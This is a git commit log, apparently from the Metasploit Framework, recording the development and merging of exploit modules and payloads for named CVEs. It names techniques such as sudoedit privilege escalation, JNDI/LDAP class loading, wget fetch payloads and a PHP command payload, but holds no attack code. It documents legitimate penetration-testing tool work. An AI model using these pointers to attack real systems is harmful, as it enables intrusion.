Grant Willcox 5ded2adfb5 Add in code initial code to start supporting JNDI loading of remote classes, currently a bit broken though 2023-05-24 13:17:47 -05:00
Grant Willcox d00d339de5 Initial copy with JNDI connection back to LDAP server. 2023-05-24 13:17:47 -05:00
RadioLogic 1c57019096 Merge branch 'master' into vsftpd_232 2023-05-24 10:58:22 -04:00
RadioLogic 9c58289b21 Added container info in documentation 2023-05-24 10:54:31 -04:00
RadioLogic 0aee634d67 Put authors on separate lines 2023-05-24 10:48:31 -04:00
attl4s 240fd65d0c module, not exploit 2023-05-24 16:30:38 +02:00
attl4s 623657b072 Logontype changed to OptEnum + better meterpreter session requirement check 2023-05-24 16:28:56 +02:00
attl4s 42ef5ad322 remove TLV_TYPE_TOKEN_UPDATE_RESULT - update_token sends empty response when succeeds 2023-05-24 16:12:12 +02:00
attl4s 3a685849a8 add update_token bridge + make_token module 2023-05-24 10:33:52 +02:00
vtoutain b327809450 Changes regarding auxiliary modules
Changed back some modifications of includes and functions definitions that were related to exploit modules.
2023-05-24 09:28:41 +02:00
vtoutain e542c50154 Merge branch 'rapid7:master' into dolibarr_16_contact_dump 2023-05-24 09:26:03 +02:00
Spencer McIntyre ed5d516c21 Sync the .NET working path for Powershell sessions
See: https://github.com/PowerShell/PowerShell/issues/10278
2023-05-23 15:21:52 -04:00
Spencer McIntyre afb31b0f21 Add a function to escaple cmd.exe string literals 2023-05-23 15:17:39 -04:00
Grant Willcox e749945b01 Land #18009, Clearing http web data service credentials in msfconsole 2023-05-23 12:15:52 -05:00
Metasploit 5189c7af83 automatic module_metadata_base.json update 2023-05-23 08:57:43 -05:00
Spencer McIntyre 9e38ed4459 Land #17929, Linux sudoedit LPE (CVE-2023-22809)
Linux sudoedit priv esc (CVE-2023-22809)
2023-05-23 09:30:18 -04:00
cgranleese-r7 3e327efdc4 Fixes validation for to_hanler command for Evasion and Payload modules 2023-05-23 10:16:06 +01:00
Spencer McIntyre 120dc877ad Pr/collab/17430 (#41)
* Prevent using post modules with the session

It doesn't work reliably because of winpty and how the output is
mangled.

* Set the limit correctly

* Fix Linux PTY downgrade issues

* Remove filtering

The filtering implementation is incomplete and unnecessary.

Filtering is unnecessary because Linux sessions execute a stub on
session start up that uses a combiantion of stty and a fifo to emulate a
PTY-less session. Windows sessions do not need filtering because they
have been explictly marked as being incompatible with the Post API which
is confused by the extra characters.

The filtering implementation is incomplete because it does not account for
echo fragments that are split across lines. It also does not account for
all of the ANSI escape codes.

* Add module docs for enum_ssm
2023-05-22 17:11:16 -04:00
sfewer-r7 0205bb36d3 change ranking to GreatRanking as stability is CRASH_SERVICE_RESTARTS 2023-05-22 20:09:11 +01:00
adfoster-r7 f89de600be Land #18015, remove dead link from wiki 2023-05-22 18:44:09 +01:00
sfewer-r7 6b101b5a4d make rubocop happy 2023-05-22 18:03:58 +01:00
adfoster-r7 1eb6996ea5 Land #17989, Improves flag formatting for kerberos ticket presenter 2023-05-22 17:42:10 +01:00
Tom Kelley 4dcfe0a1cf Remove dead link 2023-05-22 09:38:36 -07:00
Metasploit d9cbe065ce automatic module_metadata_base.json update 2023-05-22 10:15:11 -05:00
space-r7 60f6574bf3 Land #17965, add module for AD CS cert management 2023-05-22 09:50:53 -05:00
dwelch-r7 e27a08a073 Land #18010, Fix edgecase crash when running smb_login with Kerberos auth activated 2023-05-22 15:44:33 +01:00
Spencer McIntyre 0a3247f1a7 Add documentation 2023-05-22 10:29:03 -04:00
Spencer McIntyre e3823691a1 Add module for AD CS template CRUD operations 2023-05-22 10:28:58 -04:00
Grant Willcox ae430ff3db Land #18013, Exclude IDE development collateral from Gemspec 2023-05-22 09:03:10 -05:00
Jeffrey Martin 5a96979363 exclude IDE development collateral from gemspec 2023-05-22 08:28:23 -05:00
Spencer McIntyre 8258657a45 Add the ESC1 certificate template 2023-05-22 09:21:24 -04:00
Spencer McIntyre a88751167b Add specs for .from_sddl_text 2023-05-22 09:21:24 -04:00
Spencer McIntyre ff4fafda2f Add support for parsing SDDL 2023-05-22 09:21:24 -04:00
Spencer McIntyre 3af052390d Add well known SID and RID constants 2023-05-22 09:21:24 -04:00
Spencer McIntyre 49fd6e876a Add constants from MS-CRTD 2023-05-22 09:21:24 -04:00
Spencer McIntyre 1ffefcbea4 Treat the subauthority as optional
This allows some additional SIDs to function such as
SECURITY_CREATOR_SID_AUTHORITY.
2023-05-22 09:21:24 -04:00
Spencer McIntyre d23f407c44 Monkey patch #modify to accept controls 2023-05-22 09:21:24 -04:00
Spencer McIntyre dcbc6d19c5 Update #validate_query_result!
The function required a filter argument, but not every query has a
filter. By removing it, we can reuse the same logic for other operations
including modifications.
2023-05-22 09:21:20 -04:00
RadioLogic f1468a83ed Added forgotten end 2023-05-21 13:40:52 -04:00
RadioLogic 7a9f13c960 Added option to remove sudoers check 2023-05-21 12:18:32 -04:00
RadioLogic 4b3d6b59cc Replaced fail_with with raised error 2023-05-21 12:10:18 -04:00
RadioLogic dc11d818aa Corrected failwith statement 2023-05-21 00:37:00 -04:00
RadioLogic 3dc9438b3a Added firmware version to documentation 2023-05-21 00:33:33 -04:00
RadioLogic 33e59a291e Added check for user 2023-05-21 00:26:18 -04:00
RadioLogic e0e214e241 Merge branch 'master' into useradd 2023-05-20 18:21:18 -04:00
RadioLogic ed026e52eb Fixed echo option so sudo would work 2023-05-20 18:14:46 -04:00
RadioLogic fffc7f514d Fixed issue with description 2023-05-19 15:24:53 -04:00
RadioLogic c42905fe92 Updated description 2023-05-19 13:45:45 -04:00
RadioLogic d07f2ed633 Set default method to sudo 2023-05-19 13:45:11 -04:00
RadioLogic b077167d73 Redesigned to not use exectuable at all 2023-05-19 13:34:12 -04:00
RadioLogic a8fd4e7aba Renamed to adduser for consistency 2023-05-19 13:31:55 -04:00
adfoster-r7 9dd10d6df7 Fix edgecase crash when running smb_login with Kerberos auth activated 2023-05-19 16:12:16 +01:00
cgranleese-r7 8d131f0a95 Updates the msfdb prompts for webservice 2023-05-19 12:57:35 +01:00
Metasploit 428229aede Bump version of framework to 6.3.18 2023-05-18 12:10:55 -05:00
Metasploit 61569a0b2e automatic module_metadata_base.json update 2023-05-18 11:43:04 -05:00
Spencer McIntyre f464401dde Land #17782, Add fetch payloads
Add http wget cmd based fetch payload for Linux and Windows
2023-05-18 12:18:27 -04:00
cgranleese-r7 de6e26de8e Land #18006, Fix error when msfconsole opens browser links without a display present 2023-05-18 16:56:29 +01:00
bwatters 548a2d7ab4 Add fetch payloads for Windows and Linux x64 2023-05-18 10:47:29 -05:00
cgranleese-r7 26daa65c58 Land #18005, Fix crash when running a module through socks 4a proxy 2023-05-18 13:25:33 +01:00
adfoster-r7 39f4ccd9f9 Fix error when msfconsole opens browser links without a display present 2023-05-18 10:29:22 +01:00
adfoster-r7 3e32c0e22d Fix crash when running a module through socks 4a proxy 2023-05-18 10:25:56 +01:00
Metasploit 4df7551759 automatic module_metadata_base.json update 2023-05-17 19:11:48 -05:00
space-r7 6c88e85d02 Land #17993, add invscout RPM privesc 2023-05-17 18:56:42 -05:00
Grant Willcox 2c0dc61bd2 Land #17991, Add config for Solargraph to aid IDEs 2023-05-17 16:10:44 -05:00
Grant Willcox d4b9473294 Ignore .solargraph.yml config file 2023-05-17 15:03:05 -05:00
RadioLogic 21273648a4 Fixed response using double quotes 2023-05-17 12:39:02 -04:00
RadioLogic 6882a7cc60 Shortened payload to be readable 2023-05-17 12:05:40 -04:00
RadioLogic 62f48c5933 Updated vsftpd_232 documentation 2023-05-17 12:01:59 -04:00
RadioLogic ab0b8b8274 Ran msftidy on module 2023-05-17 11:48:09 -04:00
cgranleese-r7 73a33a9f73 Addresses PR feedback 2023-05-17 16:45:15 +01:00
RadioLogic 775173381c Made progress show in dots rather than status 2023-05-17 11:44:37 -04:00
RadioLogic 9c888da5cb Reverted from threading as payload finally works 2023-05-17 11:43:50 -04:00
RadioLogic 49e7c2459f Fixed payload to properly function 2023-05-17 11:40:29 -04:00
RadioLogic 9a732a881b Improve module description
Co-authored-by: bcoles <bcoles@gmail.com>
2023-05-17 08:09:25 -04:00
RadioLogic 789646dd65 Use better failwith lines
Co-authored-by: bcoles <bcoles@gmail.com>
2023-05-17 08:08:59 -04:00
bcoles 0bc1fdf51d Add invscout RPM Privilege Escalation 2023-05-17 20:17:55 +10:00
RadioLogic 10dd1b8906 Updated scenarios for vsftpd_232 2023-05-17 00:44:46 -04:00
RadioLogic 6a846c2c94 Added stub since stopping doesnt exist 2023-05-17 00:44:18 -04:00
RadioLogic e1a9f61ad9 Added documentation to scanner module 2023-05-17 00:00:00 -04:00
RadioLogic f15c9a0bbb Added cmd useradd payload 2023-05-16 23:16:54 -04:00
RadioLogic 4f70be41ae Removed lib include line as it became redundant 2023-05-16 23:02:55 -04:00
RadioLogic 0bf5746bde Added recommended folders to config 2023-05-16 18:25:37 -04:00
RadioLogic 6fdc86db19 Set max files to 0 2023-05-16 18:25:07 -04:00
h00die 2ca5ca1f63 stronger grep 2023-05-16 16:18:14 -04:00
RageLtMan f929d2c90f Drop redundant shell_command in powershell.rb 2023-05-16 15:43:16 -04:00
RageLtMan 713ec6ae76 Merge branch 'master' into feature/aws_ssm_sessions 2023-05-16 14:39:37 -04:00
Metasploit 571e3d5e99 automatic module_metadata_base.json update 2023-05-16 09:35:29 -05:00
cgranleese-r7 82bf51647d Improves flag formatting for kerberos ticket presenter 2023-05-16 15:25:36 +01:00
Grant Willcox 459cf871cb Land #17979, Add exploit for Ivanti Avalanche file upload - CVE-2023-28128 2023-05-16 09:19:33 -05:00
h00die 6bee4f56d9 updates from review 2023-05-13 15:49:11 -04:00
Grant Willcox 560fc9000b Fix up checks on responses to make sure they are more robust checks 2023-05-12 16:08:47 -05:00
Grant Willcox ea988f0c78 Add more documentation on how to set the target up based on my own experience and so that we have a backup in case the link to external documentation breaks 2023-05-12 14:27:39 -05:00
Grant Willcox 3b2d23eeae Fix up check method, unduplicate fail_with messages to make them unique, and add @cleanup_needed so we can check if cleanup is needed to avoid unnecessary messages when just checking if the target is vulnerable or not 2023-05-12 14:14:40 -05:00
RadioLogic b7b1df23ea Implemented threading into module 2023-05-12 14:28:10 -04:00
RadioLogic 04e6bf804f Made stability involve service down 2023-05-12 14:27:58 -04:00
RadioLogic 0e9060e295 Added documentation for module 2023-05-12 14:27:12 -04:00
Metasploit 3c0222d7d0 automatic module_metadata_base.json update 2023-05-12 13:16:50 -05:00
adfoster-r7 f40a2e8dbc Land #17990, ibstat_path: Use AutoCheck, add Notes, resolve Rubocop violations 2023-05-12 19:03:22 +01:00
adfoster-r7 c723a2865e Land #17987, Split recalculate out into multiple functions 2023-05-12 18:27:46 +01:00
RadioLogic 2e5b38e718 Merge branch 'master' into solargraph 2023-05-12 13:02:36 -04:00
Dean Welch 3036a53697 Change name to single_name for consistency 2023-05-12 16:59:33 +01:00
Dean Welch f6855f6aa4 Split recalculate out into multiple functions 2023-05-12 16:30:14 +01:00
RadioLogic f46967e2c4 Added config for solargraph to aid IDEs 2023-05-12 11:29:32 -04:00
bcoles 004a72c32e ibstat_path: Use AutoCheck, add Notes, resolve Rubocop violations 2023-05-13 01:27:53 +10:00
dwelch-r7 b752735db1 Land #17967, Fix ruby 3.1 crashes and resource leaks when garbage collecting Meterpreter resources 2023-05-12 14:14:02 +01:00
Grant Willcox cf5f90ac4f Minor updates to documentation to tidy things up a bit 2023-05-11 16:48:16 -05:00
space-r7 722de33b6f address feedback, use cleanup to restore path
fix bug where if config restore failed, module would
output that it was both a failure and a success
add akb topic as reference
2023-05-11 13:20:25 -05:00
Metasploit 20ac531254 automatic module_metadata_base.json update 2023-05-11 13:11:32 -05:00
adfoster-r7 ff1331c11b Land #17985, fix typo in sticky_keys.rb 2023-05-11 18:50:18 +01:00
Edmond Major III d24f5873bd Update sticky_keys.rb
Persistance -> Persistence 

Fix a small typo
2023-05-11 12:22:54 -05:00
Metasploit 484639a2e0 Bump version of framework to 6.3.17 2023-05-11 12:13:25 -05:00
catatonicprime a445b07233 removing unnecessary call to payload_uri 2023-05-11 16:35:53 +00:00
Shelby Pace 131f2519bc Update modules/exploits/windows/http/ivanti_avalanche_filestoreconfig_upload.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-05-11 10:48:48 -05:00
Metasploit 3ffd072852 automatic module_metadata_base.json update 2023-05-11 10:24:58 -05:00
adfoster-r7 fa6a5e24f0 Land #17807, Add in documentation on Metasploit's file system 2023-05-11 16:11:12 +01:00
Grant Willcox 63ffb850dd Land #17984, Fix kerberos datastore name typo in winrm docs
Fix kerberos datastore name typo in winrm docs
2023-05-11 09:56:22 -05:00
adfoster-r7 eb959e2e40 Land #17060, GSoC Project: Implement HTTP-Trace enabled login scanners 2023-05-11 15:45:01 +01:00
Metasploit e3e23d3d7c automatic module_metadata_base.json update 2023-05-11 09:42:41 -05:00
Grant Willcox 020ee7ca5c Land #17964 - Pentaho Business Server Auth Bypass and SSTI - CVE-2022-43769 and CVE-2022-43939 2023-05-11 09:28:55 -05:00
Spencer McIntyre d8dd9bbe79 Move the publish timeout logic (#40)
This makes it accessible from enum_ssm so Linux sessions can be opened.
2023-05-11 09:58:16 -04:00
Spencer McIntyre dbda20d40b Land #17980, Fix Powershell session's #exist?
Replace [System.IO.File]::Exists with Test-Path
2023-05-11 09:10:43 -04:00
adfoster-r7 fe63d80679 Fix issues: double encoding bug, nessus scanner logging, remove dead cgi option 2023-05-11 13:01:52 +01:00
adfoster-r7 55de00911f Fix kerberos datastore name typo in winrm docs 2023-05-11 12:40:00 +01:00
catatonicprime c43eaf86bc Adding documentation. 2023-05-11 05:09:35 +00:00
catatonicprime d50bd24c2f Adding config cleanup. 2023-05-11 04:57:57 +00:00
catatonicprime cb2c6a7d80 Prevent bypass_auth from being called twice when AutoCheck is true 2023-05-11 00:34:47 +00:00
Grant Willcox 9f6a1c18a1 Minor updates to fix URLs, disclosure date, description, and minor gramatical things 2023-05-10 18:22:00 -05:00
Spencer McIntyre e92695149d Fix linux tests, remove Windows support (#39)
* Revert "shell_command_token_base get 0th output index"

This reverts commit 3a4cb3560f.

* Correct the order of arguments to #set_term_size

* Fix paths for directory checks

The path C:\ ends with a trailing backslash which will cause bash to
wait for another line if input. This places the shell in an undesirable
state.

* Fix post module tests for Linux

* Remove the command document

This hasn't been tested and it's unclear under what conditions this
would be used.

* Fix Windows SSM sessions

---------

Co-authored-by: Spencer McIntyre <zeroSteiner@gmail.com>
2023-05-10 17:48:53 -04:00
Grant Willcox 9f0a6503b7 require.js is not the only way, account for this new discovery in code 2023-05-10 13:02:02 -05:00
Grant Willcox 5d4e68d36c Add Metasploit payload example and remove message that may suggest successful exploitation occurred even when it didn't 2023-05-10 10:36:29 -05:00
Grant Willcox 1b8f1de7c8 Add in fixes from review, add archive of software, and use uri_encode_mode for encoding parameters. 2023-05-10 10:16:08 -05:00
RageLtMan 62e59e6250 Replace [System.IO.File]::Exists with Test-Path
The exists? method in post/file has a different implementation for
PSH sessions than other shells which are testing for the existence
of a path, not the presence of a file.

Fix this by replacing [System.IO.File]::Exists with Test-Path.

Testing:
```
PS C:\Windows\system32> [System.IO.File]::Exists("C:\")
False
PS C:\Windows\system32>test-path C:\
PS C:\Windows\system32> test-path C:\
True
```
2023-05-10 11:10:08 -04:00
vtoutain e742df1c33 Rubocop warning fix 2023-05-10 16:18:33 +02:00
space-r7 e514de9aef add comment about jsf substitution 2023-05-10 09:13:01 -05:00
Metasploit 87ba25c706 automatic module_metadata_base.json update 2023-05-10 05:06:35 -05:00
vtoutain cfea6530a1 Merge branch 'rapid7:master' into dolibarr_16_contact_dump 2023-05-10 11:59:46 +02:00
vtoutain d50993cd80 reviews from cdelafuente-r7
Used the AutoCheck mixin, removed the exploit function that was mileading, removed the hardcoded HttpTimeout, and refactored some code portions.
2023-05-10 11:59:09 +02:00
vtoutain daee69e1d0 Fix msftidy errors 2023-05-10 11:55:50 +02:00
Christophe De La Fuente a485a786ef Land #17881, Zyxel chained RCE using LFI and weak password derivation algorithm 2023-05-10 11:49:51 +02:00
h00die-gr3y 4f8024454c Updates based on cdelafuente-r7 latest comments 2023-05-10 07:46:11 +00:00
catatonicprime c5b0bc68d7 Improved automatic targeting, tested back to major version 14 2023-05-09 23:44:46 +00:00
catatonicprime eff189f221 Ensuring csrf_token is initialized. 2023-05-09 23:43:56 +00:00
catatonicprime 43564b5267 Removing unneeded features/options. 2023-05-09 23:43:30 +00:00
Jack Heysel 79d35ad938 Fixed check method 2023-05-09 14:25:03 -05:00
Jack Heysel eca87ea2eb Updated side effects and fixed fail_withs 2023-05-09 14:25:03 -05:00
Jack Heysel 348750ea70 Updated Authors 2023-05-09 14:25:02 -05:00
Jack Heysel 07056a74bc Pentaho Business Server Auth Bypass and SSTI 2023-05-09 14:24:51 -05:00
adfoster-r7 908f7ad3f3 Land #17972, updates to some of the example modules to keep them in line with framework changes 2023-05-09 18:46:25 +01:00
space-r7 d60843f0eb name versions that are vulnerable 2023-05-09 09:16:42 -05:00
space-r7 08a79a2f4e add documentation 2023-05-08 17:42:23 -05:00
space-r7 d1e3ce1183 add Ivanti Avalanche file upload 2023-05-08 17:41:52 -05:00
Metasploit 4e85f9e4da automatic module_metadata_base.json update 2023-05-08 17:36:25 -05:00
Grant Willcox 6dbee6e6f6 Land #17968, Fix a bug in ACE processing when searching for ESC vulnerabilities 2023-05-08 17:12:12 -05:00
Grant Willcox bc25907d1e Add additional clarity to some segments of the module 2023-05-08 16:43:26 -05:00
Spencer McIntyre cdab415ffb Fix a bug in ACE processing
There was an issue in the ACE processing where only ACEs corresponding
to an object were processed for SIDs with enrollment rights. The
processing should also process ACEs that grant the enrollment right and
are not related to any objects. In other words, only ACEs associated
with an object that is neither the CERTIFICATE_ENROLLMENT_EXTENDED_RIGHT
or CERTIFICATE_AUTOENROLLMENT_EXTENDED_RIGHT right should be ignored.
2023-05-08 16:00:38 -05:00
h00die 12911d10fb review comments 2023-05-08 15:25:31 -04:00
Metasploit 4fa6022adb automatic module_metadata_base.json update 2023-05-08 13:49:17 -05:00
Grant Willcox 89889d5e79 Land #17133, Add manageengine adaudit plus authenticated rce module and docs - CVE-2021-4284 2023-05-08 13:23:38 -05:00
Grant Willcox f773d348e1 Add in notes about reliability of the module, and also add documentation on 7005 test on Windows 2022 2023-05-08 12:11:01 -05:00
Grant Willcox c221edb1ec Add in ADAudit Plus build 6077 testing examples 2023-05-08 11:45:44 -05:00
h00die 0ace550537 small updates to example modules 2023-05-07 13:02:30 -04:00
Y1Daa d8beb8cfef fix nessus_db_import & nessus_scan_export bugs 2023-05-07 21:27:50 +08:00
h00die-gr3y 51ab9746fb Updates based on cdelafuente-r7 comments 2023-05-06 19:05:21 +00:00
catatonicprime c69ca39748 consistent indenting 2023-05-06 05:07:59 +00:00
catatonicprime 0448d408ea Match wording from "How to write a module using HttpServer and HttpClient" on docs.metasploit.com 2023-05-06 04:58:50 +00:00
catatonicprime af3c482acd heh, I probably should have tested that too 2023-05-06 04:55:23 +00:00
catatonicprime e37e506fe2 heh, I probably should have tested this 2023-05-06 04:37:43 +00:00
space-r7 f04dababa2 add upload code 2023-05-05 18:59:46 -05:00
h00die e692e927dc review fixes 2023-05-05 16:43:47 -04:00
catatonicprime f27648799b Adding original ZDI reference. Minor formatting changes. 2023-05-05 18:19:53 +00:00
Catatonic Prime 5f12f0e0ba Apply suggestions from code review
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-05-05 11:07:08 -07:00
adfoster-r7 069ad805c1 Fix ruby 3.1 crashes when garbage collecting meterpreter resources 2023-05-05 14:04:17 +01:00
ErikWynter b8856bbb87 fix capitalization of Htlm_fileName JSON parram 2023-05-05 09:59:11 +03:00
Grant Willcox 19651633c4 Update the installation instructions to resolve some issues encountered during testing 2023-05-04 18:26:54 -05:00
space-r7 9fa0dac56c add login and path change methods 2023-05-04 18:03:02 -05:00
Grant Willcox adec2f4fbb Update the login.rb code so we aren't as strict on cookies since older versions sometimes use JSESSIONIDADAPSSO instead of JSESSIONIDSSO for login cookies 2023-05-04 15:40:39 -05:00
jvoisin 3b66b3416f Golf a bit the php payload
- Put all the error-disabling statements on a single line
- Remove some useless spaces
- Use `stristr(…)` (available since PHP4) instead of `strpos(strtolower(…))`
- Use `&&` instead of `and`
- Use backticks instead of `passthru`, since they're equivalent: https://www.php.net/manual/en/language.operators.execution.php
2023-05-04 22:25:32 +02:00
Grant Willcox 8c7ae1b6bb Minor update to comments for clarity 2023-05-04 15:12:32 -05:00
ErikWynter c088430bd9 improve sanity checks in login method and other code review fixes 2023-05-04 15:12:31 -05:00
Grant Willcox f27fc28411 Perform review updates 2023-05-04 15:12:31 -05:00
ErikWynter 9b596b3efd minor changes 2023-05-04 15:12:31 -05:00
ErikWynter 1c6c1dffc6 final code review fixes 2023-05-04 15:12:31 -05:00
ErikWynter 9fe7db4648 improve status codes handling 2023-05-04 15:12:30 -05:00
ErikWynter 86b7f97421 remove trailing whitespace 2023-05-04 15:12:30 -05:00
ErikWynter aede036b02 additional changes from code review 2023-05-04 15:12:30 -05:00
Grant Willcox 8871b2955b Fix up Active Directory name so we appropriately use uppercase 2023-05-04 15:12:30 -05:00
Grant Willcox ba687c49aa Fix a few typos 2023-05-04 15:12:29 -05:00
ErikWynter a5e86a0c51 code review improvements, including renaming silent param 2023-05-04 15:12:29 -05:00
Grant Willcox 0fd743d851 Add in fixes from code review 2023-05-04 15:12:29 -05:00
ErikWynter dd075d5c99 library improvements after code review, module update 2023-05-04 15:12:28 -05:00
ErikWynter a2cf29ab98 partial fixes after library code review 2023-05-04 15:12:28 -05:00
Grant Willcox 61d1cf1460 Fix up things identified during review 2023-05-04 15:12:28 -05:00
Grant Willcox d5032f0a5d Minor touchups on documentation for review 2023-05-04 15:12:28 -05:00
ErikWynter e639460b9f fix library comments for json_post_data.rb 2023-05-04 15:12:27 -05:00
ErikWynter 32796b429b add note about payload limitations for builds 7004 and 7005 2023-05-04 15:12:27 -05:00
ErikWynter 47d374497a create adaudit plus mixin and move some stuff there 2023-05-04 15:12:27 -05:00
Grant Willcox 3b0d8b850b Fix up some issues identified during review 2023-05-04 15:12:26 -05:00
ErikWynter 9f68a5f8d1 add manageengine_adaudit_plus_authenticated_rce exploit module and docs 2023-05-04 15:12:09 -05:00
Metasploit 783a1eb504 Bump version of framework to 6.3.16 2023-05-04 12:11:31 -05:00
Grant Willcox e5c636f931 Move folder descriptions into README.md files 2023-05-03 14:06:13 -05:00
Grant Willcox 184ad67f79 Add in documentation on Metasploit's file system 2023-05-03 14:06:00 -05:00
Metasploit b01c4d37f7 automatic module_metadata_base.json update 2023-05-03 12:04:07 -05:00
Grant Willcox bf61718fe6 Land #17915, Icinga Web 2 Arbitrary File Read (CVE-2022-24716) 2023-05-03 11:47:26 -05:00
Grant Willcox 818bd4837e Add in additional information about testing on Docker 2023-05-03 10:17:16 -05:00
Jeffrey Martin 2059505ccd improve login attempt guards
* tighted up rescue to catch individual attempt exceptions
* remove general rescue in SNMP
* ensure SNMP socket is released
2023-05-03 09:15:14 -05:00
adfoster-r7 3bf01f2cf2 Land #17911, Update setting missing datastore values to a warning instead of an error 2023-05-03 13:04:03 +01:00
cgranleese-r7 67694c1ef7 Removes return false 2023-05-03 11:41:11 +01:00
Metasploit c6547737a6 automatic module_metadata_base.json update 2023-05-03 04:28:17 -05:00
adfoster-r7 ed9b9cc502 Land #17963, Add CVE-1999-0554 to nfsmount module 2023-05-03 10:05:26 +01:00
h00die 0c0ae00149 add cve to nfsmount 2023-05-02 19:58:47 -04:00
h00die 95562e04aa sudoedit work 2023-05-02 18:39:59 -04:00
Grant Willcox 5b080f20b6 Land #17960, lock msgpack until build resolved 2023-05-02 17:09:00 -05:00
Jeffrey Martin 0a85cba56d lock msgpack until build resolved
MessagePack 1.7.0 gem introduced code not compatible with the current
build env used for nightly packages. This may be addressed in several
ways and has been reported upstream. Lock the version a until a path
forward is determined.
2023-05-02 15:53:26 -05:00
Grant Willcox 092e4f93ad Fix up incorrect user who we are executing as 2023-05-02 15:50:46 -05:00
Jeffrey Martin 152f9460f9 rescue login scanner attempts
* Improve base login scanner to catch any Exception
* Catch any Exception in SNMP scanner that overrides base method
* Expand connection errors possible in PostgreSQL scanner
2023-05-02 15:43:57 -05:00
Grant Willcox cf6b309904 Add in quick fixes from review 2023-05-02 15:17:02 -05:00
Metasploit b90b0a75c6 automatic module_metadata_base.json update 2023-05-02 12:24:15 -05:00
adfoster-r7 7ec7a4c607 Land #17910, Fixes couchdb_login false positives 2023-05-02 17:56:55 +01:00
Grant Willcox 40474ed88c Land #17950, Update Rubocop dependency 2023-05-01 09:19:01 -05:00
adfoster-r7 ca0739b3b2 Update rubocop dependency 2023-04-28 23:42:00 +01:00
Grant Willcox 41c75c2e30 Land #17906, Weekly dependency updates for Gemfile.lock 2023-04-28 17:01:09 -05:00
Grant Willcox 22441f1064 Land #16390, Implement Caching DNS Resolver in Rex 2023-04-28 16:42:44 -05:00
Grant Willcox 5169174c45 Remove Rubocop updates until we can fix underlying issues in our code 2023-04-28 15:19:03 -05:00
Grant Willcox 3e81408a24 Add support for getting IPv6 addresses from hosts files and saving them into the cache 2023-04-28 14:47:56 -05:00
Metasploit e3e82f0db2 automatic module_metadata_base.json update 2023-04-28 14:28:52 -05:00
Spencer McIntyre d3a903b8b3 Land #17945, Add missing payload tests 2023-04-28 15:13:50 -04:00
Metasploit e3963a2e5c automatic module_metadata_base.json update 2023-04-28 12:51:28 -05:00
Christophe De La Fuente 60149259a2 Land #17856, RCE exploit for CVE-2023-26359 (Adobe ColdFusion) and an auxiliary module for arbitrary file read via the same vuln. 2023-04-28 19:27:15 +02:00
Grant Willcox 6fa21d130f Land #17944, Update metasploit-payloads gem to 2.0.130 2023-04-28 11:56:33 -05:00
Christophe De La Fuente f5b1b96d9a Fix rubocop issues 2023-04-28 16:09:57 +02:00
Christophe De La Fuente 62806caeae Update web_delivery 2023-04-28 16:09:51 +02:00
RageLtMan 867902e7d0 SSM start/stop publication 2023-04-28 09:00:37 -04:00
h00die-gr3y cfb21e3de2 Added CVE-2023-28770 reference 2023-04-28 12:51:17 +00:00
Metasploit 680ccbfe2f automatic module_metadata_base.json update 2023-04-28 05:55:18 -05:00
adfoster-r7 f6e1fcdd90 Land #17947, feedback_assistant_root: Check if OSX version is blank in check method 2023-04-28 11:25:52 +01:00
bcoles f6725dfc4e feedback_assistant_root: Check if OSX version is blank in check method 2023-04-28 19:52:15 +10:00
bcoles 71f938682c Post::Windows::Service: Support start/stop service on shell sessions 2023-04-28 18:44:11 +10:00
catatonicprime 97a76e3883 linting changes. removing unnecessary success checks. 2023-04-28 00:07:47 +00:00
catatonicprime 4ba8d62d88 Removing unused documentation 2023-04-28 00:02:37 +00:00
catatonicprime c0be991ed8 removing superfluous options 2023-04-28 00:00:57 +00:00
Jeffrey Martin 9f2105c06d add sctp payload specs
Update sizes to match automation expectations
2023-04-27 16:42:46 -05:00
Jeffrey Martin 61a8481a0f missing adapter for python Windows 2023-04-27 15:22:12 -05:00
catatonicprime 12f7134cc6 generating payloads on the fly is what we wanted originally 2023-04-27 19:38:12 +00:00
Spencer McIntyre 36f9025cea Update metasploit-payloads gem to 2.0.130
Includes changes from:
* rapid7/metasploit-payloads#631
* rapid7/metasploit-payloads#639
* rapid7/metasploit-payloads#634
2023-04-27 13:47:37 -04:00
Metasploit 601d9cef96 Bump version of framework to 6.3.15 2023-04-27 12:03:50 -05:00
adfoster-r7 4d98499766 Land #17941, Added CVE Identifier to SEC Consult Zyxel Exploit (CVE-2023-28769) 2023-04-27 17:46:38 +01:00
space-r7 63115c9415 Land #17857, add T3S support for weblogic modules 2023-04-27 11:37:37 -05:00
catatonicprime 16ae6b71f4 Use the generated payload as is. 2023-04-27 15:21:21 +00:00
catatonicprime feec15a482 full_uri has what we need for the origin header 2023-04-27 15:07:15 +00:00
Jacob Baines ec5858c198 Added newly assigned CVE identifier 2023-04-27 09:54:48 -04:00
3V3RYONE 9c8bc4e124 added yard docs 2023-04-27 16:56:49 +05:30
catatonicprime 0be38eb3ab method should do one thing and do it well 2023-04-26 19:32:57 +00:00
catatonicprime 5e93669d75 Enable AutoCheck 2023-04-26 19:28:56 +00:00
catatonicprime 9f6fe964e2 bypass_auth returns the anti-csrf token and vprints active session on success 2023-04-26 18:28:02 +00:00
catatonicprime 8694beebd1 Removing unnecessary search. 2023-04-26 18:17:46 +00:00
space-r7 03fcfa7559 Land #17914, fix paths for directory checks 2023-04-26 12:20:46 -05:00
Spencer McIntyre 4b33fc5d64 Land #17839, Cleanup documentation 2023-04-26 13:18:32 -04:00
catatonicprime 0cf5f4cacc More accurate list of side effects. 2023-04-26 16:55:13 +00:00
catatonicprime bcafd22997 Better defaults pattern for TARGETURI. 2023-04-26 16:54:19 +00:00
catatonicprime 8c87660eaa Explicit stance. 2023-04-26 16:53:04 +00:00
catatonicprime 22238a0860 Adding references. 2023-04-26 16:52:26 +00:00
Christophe De La Fuente 8ab37b0b07 Consolidate the FileDropper Mixin doc 2023-04-26 18:04:43 +02:00
Spencer McIntyre bb782a7120 Land #17937, Fix a documentation error
Update setting up a Metasploit development environment documentation
2023-04-26 11:53:10 -04:00
adfoster-r7 7a1f761e84 Update setting up a Metasploit development environment 2023-04-26 11:06:06 +01:00
h00die d454b2e195 cve-2023-22809 2023-04-25 20:54:48 -04:00
catatonicprime 8a9871f0d8 Default to a java payload. 2023-04-25 23:57:05 +00:00
catatonicprime a229a0ed86 If you are receiving 200, that is hard-evidence of bypass. Also Fix typo. 2023-04-25 23:34:04 +00:00
